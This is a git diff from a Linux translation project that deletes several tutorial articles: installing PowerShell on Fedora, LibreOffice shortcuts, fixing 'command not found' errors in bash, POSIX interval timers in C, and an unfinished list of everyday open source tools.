PowerShell however, examine the script: - - * _ps -e_ outputs all running processes; - - * _-O rss_ outputs the default output of _ps_ plus the amount of kilobytes each process uses, the _rss_ field; this output looks like this: - -``` -PID RSS S TTY TIME COMMAND 1 13776 S ? 00:00:01 /usr/lib/systemd/systemd -``` - - * | pipe operator uses the output of the command on the left side as input for the command on the right side. - - * _awk -F’ ‘_ declares “space” as the input field separator. So going with the above example, PID is the first, RSS the second and so on. - - * _‘{ if($2 >= (1024*200)_ is the beginning of the actual AWK-script. It checks whether field 2 ([RSS][17]) contains a number larger than or equal to 1024*200KB (204800KB, or 200MB); - - * _{ printf(“%s\t%s\t%s\n”,$1,$2,$6);} }’_ continues the script. If the previous part evaluates to true, this outputs the first, second and sixth field ([PID][18], [RSS][17] and COMMAND fields respectively). - - - - -With this in mind, step back and look at what was required for this script to be written and for it to work: - - * The input command _ps_ had to have the field we wanted to filter against in its output. This was not the case by default and required us to use the _-O_ flag with the _rss_ field as argument. - * We had to treat the output of _ps_ as a list of input fields, requiring us to know their order and structure. Or in other words, we had to at least _know_ that _RSS_ would be the second field. Meaning we had to know how the output of _ps_ would look beforehand. - * We then had to know what unit the data we were filtering against was in as well as what unit the processing tool would work in. Meaning we had to know that the _RSS_ field uses kilobytes and that _awk_ does too. Otherwise we would not have been able to write the expression _($2 <= 1024*200)_ - - - -Now, contrast the above with the PowerShell equivalent: - -``` -# Longest form -PS > Get-Process | Where-Object WorkingSet -ge 200MB -# Shortest form (with use of aliases) -PS > gps | ? ws -ge 200MB - -NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName ------- ----- ----- ------ -- -- ----------- - A B C D E F G -[...] -``` - -This first thing to notice is that we have perfect semantic clarity. The commands are perfectly self-descriptive in what they do. - -Furthermore there is no requirement for input-output reformatting, nor is there concern about the unit used by the input command. The reason for this is that PowerShell does not output strings, but objects. - -To understand this think about the following. In Bash the output of a command is equal to that what it prints out in the terminal. In PowerShell what is printed on the terminal is not equal to the information, that is actually available. This is, because the output-printing system in PowerShell also works with objects. So every command in PowerShell marks some of the properties of its output objects as printable and others not. However, it always includes all properties, whereas Bash only includes what it actually prints. One can think of it like JSON objects. Where output in Bash would be separated into “fields” by a delimiter such as a space or tab, it becomes an easily addressable object property in PowerShell, with the only requirement being, that one has to know its name. Like _WorkingSet_ in the above example. - -To see all available properties of a command’s output objects and their types, one can simply do something like: - -``` -PS > Get-Process | Get-Member -``` - -### Install PowerShell - -PowerShell is available in several package formats, including RPM used by Fedora Linux. This article shows how to install PowerShell on Fedora Linux using various methods. - -I recommend installing it natively. But I will also show how to do it in a container. I will show using both the official Microsoft PowerShell container and a Fedora Linux 30 toolbox container. The advantage of the container-method is that it’s guaranteed to work, since all dependencies are bundled in it, and isolation from the host. Regardless, I recommend doing it natively, despite the official docs only explicitly stating Fedora Linux releases 28 to 30 as being supported. - -**Note:** Supported means guaranteed to work. It does not necessarily mean incompatible with other releases. This means, that while not guaranteed, releases higher than 30 should still work. They did in fact work in our tests. - -It is more difficult to set up PowerShell and run it in a container than to run it directly on a host. It takes more time to install and you will not be able to run host commands directly. - -#### Install PowerShell on a host using the package manager - -##### Method 1: Microsoft repositories - -Installation is as straight-forward as can be and the procedure doesn’t differ from any other software installed through third party repositories. - -It can be split into four general steps: - - 1. Adding the new repository’s GPG key - 2. Adding repository to DNF repository list - 3. Refreshing DNF cache to include available packages from the new repository - 4. Installing new packages - - - -Powershell is then launched with the command _pwsh_. - -``` -$ sudo rpm --import https://packages.microsoft.com/keys/microsoft.asc -$ curl https://packages.microsoft.com/config/rhel/7/prod.repo | sudo tee /etc/yum.repos.d/microsoft.repo -$ sudo dnf makecache -$ sudo dnf install powershell -$ pwsh -``` - -To remove the repository and packages, run the following. - -``` -$ sudo rm /etc/yum.repos.d/microsoft.repo -$ sudo dnf remove powershell -``` - -##### Method 2: RPM file - -This method is not meaningfully different from the first method. In fact it adds the GPG key and the repository implicitly when installing the RPM file. This is because the RPM file contains the link to both in it’s metadata. - -First, get the _.rpm_ file for the version you want from the [PowerShell Core GitHub repository][19]. See the readme.md -“Get Powershell” table for links. - -Second, enter the following: - -``` -$ sudo dnf install powershell-.rhel.7..rpm -``` - -Substitute _<version>_ and _<architecture>_ with the version and architecture you want to use respectively, for example [powershell-7.1.3-1.rhel.7.x86_64.rpm][20]. - -Alternatively you could even run it with the link instead, skipping the need to download it first. - -``` -$ sudo dnf install https://github.com/PowerShell/PowerShell/releases/download/v/powershell-.rhel.7..rpm -``` - -To remove PowerShell, run the following. - -``` -$ sudo dnf remove powershell -``` - -#### Install via container - -##### Method 1: Podman container - -Podman is an [Open Container Initiative][21] (OCI) compliant drop-in replacement for Docker. - -Microsoft provides a [PowerShell Docker container][22]. The following example will use that container with Podman. - -For more information about Podman, visit [Podman.io][23]. Fedora Magazine has a [tag][24] dedicated to Podman. - -To use PowerShell in Podman, run the following script: - -``` -$ podman run \ - -it \ - --privileged \ - --rm \ - --name powershell \ - --env-host \ - --net=host --pid=host --ipc=host \ - --volume $HOME:$HOME \ - --volume /:/var/host \ - mcr.microsoft.com/powershell \ - /usr/bin/pwsh -WorkingDirectory $(pwd) -``` - -This script creates a Podman container for PowerShell and immediately attaches to it. It also mounts the _/home_ and the host’s root directories into the container so they’re available there. However, the host’s root directory is available in _/var/host_. - -Unfortunately, you can only indirectly run host commands while inside the container. As a workaround, run _chroot /var/host_ to chroot to the root and then run host commands. - -To break the command down, everything is mandatory unless specified: - - * -it creates a persistent environment that does not kick you out when you enter it; - * \--privileged gives extended privileges to the container (optional); - * \--rm removes the container when you exit; - * \--name powershell sets the name of the container to _powershell_; - * \--env-host sets all host environment variables to the container’s variables (optional); - * \--volume $HOME:$HOME mounts the user directory; - * \--volume /:/var/host mounts the root directory to _/var/host_ (optional); - * \--net=host --pid=host --ipc=host runs the process in the host’s namespaces instead of a separate set of namespaces for the contained process; - * docker.io/microsoft/powershell enters the container; - * /usr/bin/pwsh -WorkingDirectory $(pwd) enters the container in the current directory (optional). - - - -Optional but very convenient: alias _pwsh_ with the script to easily access the Podman container by typing _pwsh_. - -To remove the PowerShell image, run the following. - -``` -$ podman rmi mcr.microsoft.com/powershell -``` - -##### Method 2: Fedora Linux Toolbox container - -Toolbox is an elegant solution to setup persistent environments without affecting the host system as a whole. It acts as a wrapper around Podman and takes care of supplying a lot of the flags demonstrated in the previous method. For this reason, Toolbox is a lot easier to use than Podman. It was designed to work for development and debugging. With Toolbox, you can run any command the same as you would directly on the Fedora Workstation host (including _dnf_). - -The installation procedure is similar to the installation on the host methods, with the only difference being that those steps are done inside a container. Make sure you have the _toolbox_ package installed. - -Preparing and entering the Fedora 34 Toolbox container is a two step process: - - 1. Creating the Fedora 34 Toolbox container - 2. Running the Fedora 34 Toolbox container - - - -``` -$ toolbox create --image registry.fedoraproject.org/f34/fedora-toolbox -$ toolbox enter --container fedora-toolbox -``` - -Then, follow the instructions at [Method 1: Microsoft repositories][10]. - -Optional but very convenient: alias _pwsh_ with _toolbox run –container fedora-toolbox_ _pwsh_ to easily access the Toolbox container by typing _pwsh_. - -To remove the Toolbox container, make certain you have stopped the Toolbox session by entering _exit_ and then run the following: - -``` -$ podman kill fedora-toolbox -$ toolbox rm fedora-toolbox -``` - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/install-powershell-on-fedora-linux/ - -作者:[TheEvilSkeletonOzymandias42][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/theevilskeleton/https://fedoramagazine.org/author/ozymandias42/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2021/05/powershell-816x345.jpg -[2]: https://unsplash.com/@noaa?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText -[3]: https://unsplash.com/@thecedfox?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText -[4]: https://unsplash.com/s/photos/shell?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText -[5]: tmp.c7U2gcu9Hl#why-use-powershell -[6]: tmp.c7U2gcu9Hl#demonstration -[7]: tmp.c7U2gcu9Hl#comparison-between-bash-and-powershell -[8]: tmp.c7U2gcu9Hl#install-powershell -[9]: tmp.c7U2gcu9Hl#install-on-host-via-package-manager -[10]: tmp.c7U2gcu9Hl#method-1-microsoft-repositories -[11]: tmp.c7U2gcu9Hl#method-2-rpm-file -[12]: tmp.c7U2gcu9Hl#install-via-container -[13]: tmp.c7U2gcu9Hl#method-1-podman-container -[14]: tmp.c7U2gcu9Hl#method-2-fedora-toolbox-container -[15]: https://ilovepowershell.com/2011/11/03/list-of-top-powershell-alias/ -[16]: https://en.wikipedia.org/wiki/AWK -[17]: https://en.wikipedia.org/wiki/Resident_set_size -[18]: https://en.wikipedia.org/wiki/Process_identifier -[19]: https://github.com/PowerShell/PowerShell -[20]: https://github.com/PowerShell/PowerShell/releases/download/v7.1.3/powershell-7.1.3-1.rhel.7.x86_64.rpm -[21]: https://opencontainers.org/ -[22]: https://hub.docker.com/_/microsoft-powershell -[23]: https://podman.io/ -[24]: https://fedoramagazine.org/tag/podman/ diff --git a/sources/tech/20210922 My favorite LibreOffice productivity tips.md b/sources/tech/20210922 My favorite LibreOffice productivity tips.md deleted file mode 100644 index d4d5193d19..0000000000 --- a/sources/tech/20210922 My favorite LibreOffice productivity tips.md +++ /dev/null @@ -1,115 +0,0 @@ -[#]: subject: "My favorite LibreOffice productivity tips" -[#]: via: "https://opensource.com/article/21/9/libreoffice-tips" -[#]: author: "Don Watkins https://opensource.com/users/don-watkins" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -My favorite LibreOffice productivity tips -====== -Here are some LibreOffice keyboard shortcuts and formatting tips that -might save you valuable time. -![woman on laptop sitting at the window][1] - -LibreOffice is my productivity application of choice. It's one of the most potent reasons for recommending Linux distributions to educators and students, whether PK-12 or higher education. Now that the school year is upon us, I thought I would recommend some LibreOffice shortcuts and tips that might save you valuable time. - -### Work faster with keyboard shortcuts - -I use a lot of keyboard shortcuts. Here are the most common shortcuts that apply to all LibreOffice applications. - - * **Ctrl**+**N**—Create a new document - * **Ctrl**+**O**—Open a document - * **Ctrl**+**S**—Save a document - * **Ctrl**+**Shift**+**S**—Save as - * **Ctrl**+**P**—Print a document - - - -Here are some shortcut keys just for LibreOffice Writer: - - * **Home**—Takes you to the beginning of the current line. - * **End**—Takes you to the end of a line. - * **Ctrl**+**Home**—Takes the cursor to the start of the document - * **Ctrl**+**End**—Takes the cursor to the end of the document - * **Ctrl**+**A**—Select All - * **Ctrl**+**D**—Double Underline - * **Ctrl**+**E**—Centered - * **Ctrl**+**H**—Find and Replace - * **Ctrl**+**L**—Align Left - * **Ctrl**+**R**—Align Right - - - -Function keys have value too: - - * **F2**—Opens the formula bar - * **F3**—Completes auto-text - * **F5**—Opens the navigator - * **F7**—Opens spelling and grammar - * **F11**—Opens styles and formatting - * **Shift**+**F11**—Creates a new style - - - -### Document formats - -There are lots of document formats out there, and LibreOffice supports a good number of them. By default, LibreOffice saves documents to the Open Document Format, an open source standard that stores stylesheets and data in a ZIP container labeled as ODT for text documents, ODS for spreadsheets, and ODP for presentations. It's a flexible format and is maintained by the LibreOffice community as well as the Document Foundation. - -The Open Document Format is on by default, so you don't need to do anything to get LibreOffice to use it. - -Another open specification for documents is Microsoft's [Office Open XML format][2]. It's an ISO standard and is well supported by all the major office solutions. - -If you work with folks using Microsoft Office (which itself is not open source, but it does use the open OOXML format), then they're definitely used to DOCX, XLSX, and, PPTX formats and probably can't open ODT, ODS, or ODP files. You can avoid a lot of confusion by setting LibreOffice to save to OOXML by default. - -To set OOXML as your preferred format:  - - 1. Click on the **Tools** menu and select **Options** at the bottom of the menu. - - 2. In the **Options** window, click on the **Load/Save** category in the left panel and select **General**. - -![LibreOffice settings panel][3] - -(Don Watkins, [CC BY-SA 4.0][4]) - - 3. Navigate to the **Default File Format and ODF Settings** section. - - 4. Choose _Text document_ for the **Document type** and choose _Open XML (Transitional) (*.docx)_ for the **Always save as **drop-down list. - - 5. Click **Apply** and then **OK**.  - - 6. Deselect the **Warn when not saving in ODF or default format** to avoid confirmation dialogue boxes when saving. - -![LibreOffice save formats][5] - -(Don Watkins, [CC BY-SA 4.0][4]) - - - - -Repeat the same process XLSX and PPTX documents by following the same logic.  - -### Free your office - -The LibreOffice project is managed by a thriving community of users and developers, in tandem with the Document Foundation. This includes an Engineering Steering Committee, a Board of Directors, independent developers and designers and translators, and more. These teams are always open to your contribution, so if you're eager to participate in a great open source project, don't hesitate to [get involved][6]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/9/libreoffice-tips - -作者:[Don Watkins][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/don-watkins -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/lenovo-thinkpad-laptop-window-focus.png?itok=g0xPm2kD (young woman working on a laptop) -[2]: https://www.iso.org/standard/71691.html -[3]: https://opensource.com/sites/default/files/uploads/libreoffice-panel.jpg (LibreOffice settings panel) -[4]: https://creativecommons.org/licenses/by-sa/4.0/ -[5]: https://opensource.com/sites/default/files/uploads/libreoffice-save-format.jpg (LibreOffice save formats) -[6]: https://www.libreoffice.org/community/get-involved/ diff --git a/sources/tech/20210929 Troubleshooting -Bash- Command Not Found- Error in Linux.md b/sources/tech/20210929 Troubleshooting -Bash- Command Not Found- Error in Linux.md deleted file mode 100644 index 3fd4ae17bb..0000000000 --- a/sources/tech/20210929 Troubleshooting -Bash- Command Not Found- Error in Linux.md +++ /dev/null @@ -1,151 +0,0 @@ -[#]: subject: "Troubleshooting “Bash: Command Not Found” Error in Linux" -[#]: via: "https://itsfoss.com/bash-command-not-found/" -[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Troubleshooting “Bash: Command Not Found” Error in Linux -====== - -_**This beginner tutorial shows how to go about fixing the Bash: command not found error on Debian, Ubuntu and other Linux distributions.**_ - -When you use commands in Linux, you expect to see an output. But sometimes, you’ll encounter issues where the terminal shows ‘command not found’ error. - -![][1] - -There is no straightforward, single solution to this error. You have to do a little bit of troubleshooting on your own. - -It’s not too difficult, honestly. The error gives some hint already when it says “bash: command not found”. Your shell (or Linux system) cannot find the command you entered. - -There could be three possible reasons why it cannot find the command: - - * It’s a typo and the command name is misspelled - * The command is not even installed - * The command is basically an executable script and its location is not known - - - -Let’s go in detail on each possible root cause. - -### Fixing “bash: command not found” error - -![][2] - -#### Method 1: Double check the command name (no, seriously) - -It is human to make mistakes, specially while typing. It is possible that the command you entered has a typo (spelling mistake). - -You should specially pay attention to: - - * The correct command name - * The spaces between the command and its options - * The use of 1 (numeral one), I (capital i) and l (lowercase L) - * Use of uppercase and lowercase characters - - - -Take a look at the example below, where I have misspelled the common ls command. - -![][3] - -So, make double sure what you are typing. - -#### Method 2: Ensure that the command is installed on your system - -This is another common reason behind the command not found error. You cannot run a command if it is not installed already. - -While your Linux distribution comes with a huge number of commands installed by default, it is not possible to pre-install all the command line tools in a system. If the command you are trying to run is not a popular, common command, you’ll have to install it first. - -You can use your distribution’s package manager to install it. - -![You may have to install the missing command][4] - -In some cases, popular commands may get discontinued and you may not even install it anymore. You’ll have to find an alternative command to achieve the result. - -Take the example of ipconfig command. This deprecated command was used for [getting Ip address][5] and other network interface information. Older tutorials on the web still mention using this command but you cannot use it anymore in newer Linux versions. It has been replaced by the ifconfig tool. - -![Some popular commands get discontinued over the time][1] - -Occasionally, your system won’t find even the extremely common commands. This is often the case when you are running a Linux distribution in Docker containers. To cut down on the size of the operating system image, the containers often do not include even the most common Linux commands. - -This is why Docker user stumble across things like [ping command not found error][6] etc. - -![Docker containers often have only a few commands installed][7] - -So, the solution is to either install the missing command or find a tool that could do the same thing you were trying to do with the missing command. - -#### Method 3: Check if it is an executable script with correct path - -This is a common mistake Linux rookies make while [running a shell script][8]. - -Even if you are in the same directory and try to run an executable script just by its name, it will show an error. - -``` -[email protected]:~/scripts# sample --bash: sample: command not found -``` - -You need to either specify the shell interpreter explicitly or its absolute path. - -![][9] - -If you are in some other directory and try to execute the shell script without giving the correct path to the file, it will complain about not finding the file. - -![][10] - -##### Adding it to the PATH - -In some cases, you download the entire software in a tar file, extract it and find an executable file along with other program files. To run the program, you need to run the executable file. - -But for that, you need to be in the same directory or specify the entire path to the executable file. This is tiresome. - -Here, you can use the PATH variable. This variable has a collection of directories and these directories have the binary (executable) files of various Linux commands. When you run a command, your Linux system checks the mentioned directories in the PATH variable to look for the executable file of that command. - -You can check the location of the binary of a command by using the `which` command: - -![][11] - -If you want to run an executable file or script from anywhere on the system, you need to add the location of the file to this PATH variable. - -![][12] - -The PATH variable then needs to be added to the rc file of the shell so that the changes made to PATH variable is permanent. - -You get the gist here. It is important that your Linux system has the knowledge about the location of the executable script. Either you give the path while running it or you add its location to the PATH variable. - -### Did it help you? - -I understand that when you are new to Linux, things could be overwhelming. But when you understand the root cause of the problem, it gradually improved your knowledge. - -Here, there is no straightforward solution possible for the ‘command not found error’. I gave you some hints and pointers and that should help you in troubleshooting. - -If you still have doubt or need help, please let me know in the comment section. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/bash-command-not-found/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/bash-command-not-found-error.png?resize=741%2C291&ssl=1 -[2]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/bash-command-not-found-error-1.png?resize=800%2C450&ssl=1 -[3]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/09/command-not-found-error.png?resize=723%2C234&ssl=1 -[4]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/09/command-not-found-debian.png?resize=741%2C348&ssl=1 -[5]: https://itsfoss.com/check-ip-address-ubuntu/ -[6]: https://linuxhandbook.com/ping-command-ubuntu/ -[7]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/ping-command-not-found-ubuntu.png?resize=786%2C367&ssl=1 -[8]: https://itsfoss.com/run-shell-script-linux/ -[9]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/bash-script-command-not-found-error-800x331.png?resize=800%2C331&ssl=1 -[10]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/script-file-not-found-error-800x259.png?resize=800%2C259&ssl=1 -[11]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/09/path-location.png?resize=800%2C241&ssl=1 -[12]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/09/adding-executable-to-PATH-variable-linux.png?resize=800%2C313&ssl=1 diff --git a/sources/tech/20211012 Create a timer on Linux.md b/sources/tech/20211012 Create a timer on Linux.md deleted file mode 100644 index 2cbfa013aa..0000000000 --- a/sources/tech/20211012 Create a timer on Linux.md +++ /dev/null @@ -1,277 +0,0 @@ -[#]: subject: "Create a timer on Linux" -[#]: via: "https://opensource.com/article/21/10/linux-timers" -[#]: author: "Stephan Avenwedde https://opensource.com/users/hansic99" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Create a timer on Linux -====== -A tutorial showing how to create a POSIX-compliant interval timer. -![Team checklist][1] - -The timing of certain events is a common task for a developer. Common scenarios for timers are watchdogs, cyclic execution of tasks, or scheduling events for a specific time. In this article, I show how to create a POSIX-compliant interval timer using [timer_create(...)][2]. - -You can download the source code for the following examples from [GitHub][3]. - -### Prepare Qt Creator - -I used [Qt Creator][4] as the IDE for this example. To run and debug the example code in Qt Creator, clone the [GitHub][3] repository, open Qt Creator, and go to **File -> Open File or Project...** and choose the **CMakeLists.txt**: - -![Qt Creator open project][5] - -Open a project in Qt Creator (CC-BY-SA 4.0) - -After selecting the toolchain, click on **Configure Project**. The project contains three independent examples (we will only cover two of them in this article). With the green-marked menu, switch between the configurations for each example and activate **Run in terminal** for each of them (see the yellow mark below). The currently active example for building and debugging can be selected over the **Debug** button on the bottom left corner (see the orange mark below): - -![Project configuration][6] - -Project configuration (CC-BY-SA 4.0) - -### Threading timer - -Let's take a look at the _simple_threading_timer.c_ example. This is the simplest one: It shows how an interval timer is created, which calls the function **expired** on expiration. On each expiration, a new thread is created in which the function **expiration** is called. - - -``` -#include <stdio.h> -#include <stdlib.h> -#include <time.h> -#include <signal.h> -#include <unistd.h> -#include <string.h> -#include <errno.h> - -void expired(union sigval timer_data); - -pid_t gettid(void); - -struct t_eventData{ -    int myData; -}; - -int main() -{ -    int res = 0; -    timer_t timerId = 0; - -    struct t_eventData eventData = { .myData = 0 }; - -    /*  sigevent specifies behaviour on expiration  */ -    struct sigevent sev = { 0 }; - -    /* specify start delay and interval -     * it_value and it_interval must not be zero */ - -    struct itimerspec its = {   .it_value.tv_sec  = 1, -                                .it_value.tv_nsec = 0, -                                .it_interval.tv_sec  = 1, -                                .it_interval.tv_nsec = 0 -                            }; - -    [printf][7]("Simple Threading Timer - thread-id: %d\n", gettid()); - -    sev.sigev_notify = SIGEV_THREAD; -    sev.sigev_notify_function = &expired; -    sev.sigev_value.sival_ptr = &eventData; - -    /* create timer */ -    res = timer_create(CLOCK_REALTIME, &sev, &timerId); - -    if (res != 0){ -        [fprintf][8](stderr, "Error timer_create: %s\n", [strerror][9](errno)); -        [exit][10](-1); -    } - -    /* start timer */ -    res = timer_settime(timerId, 0, &its, NULL); - -    if (res != 0){ -        [fprintf][8](stderr, "Error timer_settime: %s\n", [strerror][9](errno)); -        [exit][10](-1); -    } - -    [printf][7]("Press ETNER Key to Exit\n"); -    while([getchar][11]()!='\n'){} -    return 0; -} - -void expired(union sigval timer_data){ -    struct t_eventData *data = timer_data.sival_ptr; -    [printf][7]("Timer fired %d - thread-id: %d\n", ++data->myData, gettid()); -} -``` - -The advantage of this approach is its small footprint, in terms of code and simple debugging. The disadvantage is the additional overhead due to the creation of a new thread on expiration and, consequently, the less deterministic behavior. - -### Interrupt Signal Timer - -Another possibility to be notified by an expired timer is based on a [kernel signal][12]. Instead of creating a new thread each time the timer expires, the kernel sends a signal to the process, the process is interrupted, and the corresponding signal handler is called. - -As the default action when receiving a signal is to terminate the process (see [signal][13] man page), we have to prepare Qt Creator in advance so that properly debugging is possible. - -The default behavior of Qt Creator when the debuggee receives a signal is: - - * Interrupt execution and switch to the debugger context. - * Display a pop-up window that notifies the user about the reception of a signal. - - - -Both actions are not wanted as the reception of a signal is part of our application. - -Qt Creator uses GDB in the background. In order to prevent GDB from stopping the execution when the process receives a signal, go to **Tools** -> **Options**, select **Debugger**, and navigate to **Locals & Expressions**. Add the following expression to _Debugging Helper Customization_: - - -``` -`handle SIG34 nostop pass` -``` - -![Signal no stop with error][14] - -Sig 34 no stop with error (CC-BY-SA 4.0) - -You can find more information about GDB signal handling in the [GDB documentation][15]. - -Next, we want to suppress the pop-up window that notifies us every time a signal is received when we stop in the signal handler: - -![Signal 34 pop up box][16] - -Signal 34 pop-up box (CC-BY-SA 4.0) - -To do so, navigate to the tab **GDB** and uncheck the marked checkbox: - -![Timer signal windows][17] - -Timer signal windows (CC-BY-SA 4.0) - -Now you can properly debug the _signal_interrupt_timer_. The actual implementation of the signal timer is a bit more complex: - - -``` -#include <stdio.h> -#include <stdlib.h> -#include <signal.h> -#include <unistd.h> -#include <signal.h> -#include <time.h> -#include <unistd.h> -#include <errno.h> -#include <string.h> - -#define UNUSED(x) (void)(x) - -static void handler(int sig, siginfo_t *si, void *uc); -pid_t gettid(void); - -struct t_eventData{ -    int myData; -}; - -int main() -{ -    int res = 0; -    timer_t timerId = 0; - -    struct sigevent sev = { 0 }; -    struct t_eventData eventData = { .myData = 0 }; - -    /* specifies the action when receiving a signal */ -    struct sigaction sa = { 0 }; - -    /* specify start delay and interval */ -    struct itimerspec its = {   .it_value.tv_sec  = 1, -                                .it_value.tv_nsec = 0, -                                .it_interval.tv_sec  = 1, -                                .it_interval.tv_nsec = 0 -                            }; - -    [printf][7]("Signal Interrupt Timer - thread-id: %d\n", gettid()); - -    sev.sigev_notify = SIGEV_SIGNAL; // Linux-specific -    sev.sigev_signo = SIGRTMIN; -    sev.sigev_value.sival_ptr = &eventData; - -    /* create timer */ -    res = timer_create(CLOCK_REALTIME, &sev, &timerId); - -    if ( res != 0){ -        [fprintf][8](stderr, "Error timer_create: %s\n", [strerror][9](errno)); -        [exit][10](-1); -    } - -    /* specifz signal and handler */ -    sa.sa_flags = SA_SIGINFO; -    sa.sa_sigaction = handler; - -    /* Initialize signal */ -    sigemptyset(&sa.sa_mask); - -    [printf][7]("Establishing handler for signal %d\n", SIGRTMIN); - -    /* Register signal handler */ -    if (sigaction(SIGRTMIN, &sa, NULL) == -1){ -        [fprintf][8](stderr, "Error sigaction: %s\n", [strerror][9](errno)); -        [exit][10](-1); -    } - -    /* start timer */ -    res = timer_settime(timerId, 0, &its, NULL); - -    if ( res != 0){ -        [fprintf][8](stderr, "Error timer_settime: %s\n", [strerror][9](errno)); -        [exit][10](-1); -    } - -    [printf][7]("Press ENTER to Exit\n"); -    while([getchar][11]()!='\n'){} -    return 0; -} - -static void -handler(int sig, siginfo_t *si, void *uc) -{ -    UNUSED(sig); -    UNUSED(uc); -    struct t_eventData *data = (struct t_eventData *) si->_sifields._rt.si_sigval.sival_ptr; -    [printf][7]("Timer fired %d - thread-id: %d\n", ++data->myData, gettid()); -} -``` - -In contrast to the threading timer, we have to initialize the signal and register a signal handler. This approach is more performant as it won't cause the creation of additional threads. For this reason, the execution of the signal handler is also more deterministic. The drawback is clearly the extra configuration effort to debug this properly. - -### Summary - -Both methods described in this article are close-to-the-kernel implementations of timers. Even if the [timer_create(...)][2] function is part of the POSIX specification, it is not possible to compile the sample code on a FreeBSD system due to small differences in data structures. Besides this drawback, such an implementation gives you fine-grained control for general-purpose timing applications. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/10/linux-timers - -作者:[Stephan Avenwedde][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/hansic99 -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/checklist_todo_clock_time_team.png?itok=1z528Q0y (Team checklist) -[2]: https://linux.die.net/man/2/timer_create -[3]: https://github.com/hANSIc99/posix_timers -[4]: https://www.qt.io/product/development-tools -[5]: https://opensource.com/sites/default/files/posix_timers_open_project_0.png -[6]: https://opensource.com/sites/default/files/posix_timers_project_configuration_2.png -[7]: http://www.opengroup.org/onlinepubs/009695399/functions/printf.html -[8]: http://www.opengroup.org/onlinepubs/009695399/functions/fprintf.html -[9]: http://www.opengroup.org/onlinepubs/009695399/functions/strerror.html -[10]: http://www.opengroup.org/onlinepubs/009695399/functions/exit.html -[11]: http://www.opengroup.org/onlinepubs/009695399/functions/getchar.html -[12]: https://man7.org/linux/man-pages/man3/signal.3p.html -[13]: https://linux.die.net/man/7/signal -[14]: https://opensource.com/sites/default/files/posix_timers_sig34_nostop_pass.png -[15]: https://sourceware.org/gdb/onlinedocs/gdb/Signals.html -[16]: https://opensource.com/sites/default/files/posix_timers_sig34_pop_up_2.png -[17]: https://opensource.com/sites/default/files/posix_timers_signal_windows.png diff --git a/sources/tech/20211014 9 ways to use open source every day.md b/sources/tech/20211014 9 ways to use open source every day.md deleted file mode 100644 index 836627323c..0000000000 --- a/sources/tech/20211014 9 ways to use open source every day.md +++ /dev/null @@ -1,112 +0,0 @@ -[#]: subject: "9 ways to use open source every day" -[#]: via: "https://opensource.com/article/21/10/open-source-tools" -[#]: author: "Don Watkins https://opensource.com/users/don-watkins" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -9 ways to use open source every day -====== -You may be surprised to learn that the tools you use every day are open -source. -![Tools illustration][1] - -Recently I was invited to present on free and open resources that are available on the web. This presentation was part of a local effort to keep our community working—sponsored by the [Foster Center][2] at St. Bonaventure University near my home. Some of the resources I shared were not open source and merely cost $0, but many of the tools were also open source. - -It was interesting to see how many folks recognized the tools I mentioned. Many people are unaware that the tools they use every day are open source, and they can share them with others.  - -### Open source browsers - -Using the web requires a good browser, and [Firefox is open source][3], which some of the folks I was presenting to were unaware of. In addition to being open source, Firefox is strongly conscious of privacy, which is a growing concern for many users. Interestingly, though, even Microsoft's new browser is based on the open source Chromium project.  - -### Open source web privacy - -Another way to protect your privacy and improve your web experience, in general, is to use uBlock Origin to block advertisements. According to their website: - -> uBlock Origin is a free and open source, cross-platform browser extension for content filtering—primarily aimed at neutralizing privacy invasion in an efficient, user-friendly method. - -The code is [GPL v. 3.0][4].  - -The Electronic Frontier Foundation (EFF) also maintains [Privacy Badger][5], a web browser extension licensed under the GPL v.3.0. According to their Github repository, it's: - -> A 